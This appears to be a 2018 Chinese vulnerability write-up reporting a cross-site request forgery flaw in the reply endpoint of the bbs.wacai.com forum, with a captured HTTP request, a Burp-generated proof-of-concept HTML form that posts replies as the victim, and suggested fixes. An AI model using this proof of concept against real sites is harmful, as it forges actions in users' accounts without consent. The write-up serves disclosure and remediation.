[关闭]
@1kbfree 2018-09-13T14:49:50.000000Z 字数 1049 阅读 930

钱堂评论处存在Csrf

漏洞挖掘


漏洞复现

1、打开Url:https://bbs.wacai.com/web/thread/9666092

image_1cn3vm36d1tmo192812mob3g1nii9.png-172.7kB

2、点击回复并且抓包,抓取的数据包如下

  1. POST /web/api/reply/add HTTP/1.1
  2. Host: bbs.wacai.com
  3. Connection: close
  4. Content-Length: 50
  5. Accept: application/json, text/javascript
  6. Origin: https://bbs.wacai.com
  7. X-Requested-With: XMLHttpRequest
  8. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36
  9. Content-Type: application/x-www-form-urlencoded
  10. Referer: https://bbs.wacai.com/web/thread/9666092
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  13. Cookie: 马赛克
  14. tid=9666092&message=%3Cdiv%3Ecsrf_test%3C%2Fdiv%3E

3、没有token,并且没有对referer做限制,直接构造为poc

  1. <html>
  2. <!-- CSRF PoC - generated by Burp Suite Professional -->
  3. <body>
  4. <script>history.pushState('', '', '/')</script>
  5. <form action="https://bbs.wacai.com/web/api/reply/add" method="POST">
  6. <input type="hidden" name="tid" value="9666092" />
  7. <input type="hidden" name="message" value="&lt;div&gt;csrf&#95;test&lt;&#47;div&gt;" />
  8. <input type="submit" value="Submit request" />
  9. </form>
  10. </body>
  11. </html>

4、在浏览器处打开Poc

image_1cn3vpire132qctv1oos14lh1snm26.png-19.8kB

image_1cn3vql571k4n1vea1i4r86q1s6s2j.png-91.1kB

ok,回复成功

修复方案

1、加上Token验证
2、加上验证码
3、限制Referer

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注